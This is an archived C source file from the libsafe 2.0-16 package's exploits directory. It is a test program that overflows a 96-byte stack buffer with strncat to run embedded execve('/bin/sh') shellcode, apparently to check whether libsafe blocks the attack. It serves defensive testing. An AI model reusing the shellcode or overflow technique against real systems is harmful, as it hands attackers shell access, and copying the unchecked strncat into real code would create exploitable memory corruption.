"Fossies" - the Fresh Open Source Software Archive

Member "libsafe-2.0-16/exploits/t5.c" (12 Jun 2002, 1750 Bytes) of package /linux/misc/old/libsafe-2.0-16.tgz:

    1 /*
    2  * $Name: release2_0-16 $
    3  * $Id: t5.c,v 1.7 2002/06/12 20:30:37 ttsai Exp $
    4  */
    5 
    6 
    7 #include <stdio.h>
    8 #include <string.h>
    9 #include <sys/types.h>
   10 #include <stdlib.h>
   11 
   12 char shellcode[] =
   13     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   14     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   15     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
   16 
   17 char large_string[128];
   18 
   19 /*
   20  * Return 1 if at least one of the bytes in addr is 0x00; else return 0.
   21  */
   22 int contains_null_bytes(caddr_t addrp) {
   23     uint addr = (uint) addrp;
   24     return !(addr & 0xff &&
   25          addr & 0xff00 &&
   26          addr & 0xff0000 &&
   27          addr & 0xff000000);
   28 }
   29 
   30 void foo()
   31 {
   32     char buffer[96], *p;
   33     int i;
   34     long *long_ptr = (long *) large_string;
   35 
   36     printf("This program tries to use strcat() to overflow the buffer.\n");
   37     printf("If you get a /bin/sh prompt, then the exploit has worked.\n");
   38     printf("Press any key to continue...");
   39     getchar();
   40 
   41     /*
   42      * Make sure that there are no zero bytes in the starting address in
   43      * buffer[].  If so, find the first address containing no zero bytes.
   44      */
   45     for (p=buffer; contains_null_bytes(p); p++);
   46     if (contains_null_bytes(p)) {
   47     printf("We can't find an acceptable address that doesn't contain\n");
   48     printf("a zero byte.  Giving up.\n");
   49     exit(-1);
   50     }
   51 
   52     for (i = 0; i < 32; i++)
   53     *(long_ptr + i) = (int) p;
   54     for (i = 0; i < (int) strlen(shellcode); i++)
   55     large_string[i] = shellcode[i];
   56     buffer[0] = (char)NULL;
   57     //strcat(p, large_string);
   58     strncat(p, large_string, 1000);
   59     return;
   60 }
   61 
   62 int main(int ac, char *av[])
   63 {
   64     foo();
   65 
   66     printf("If you see this statement, it means that the buffer\n");
   67     printf("overflow never occurred.\n");
   68 
   69     return 0;
   70 }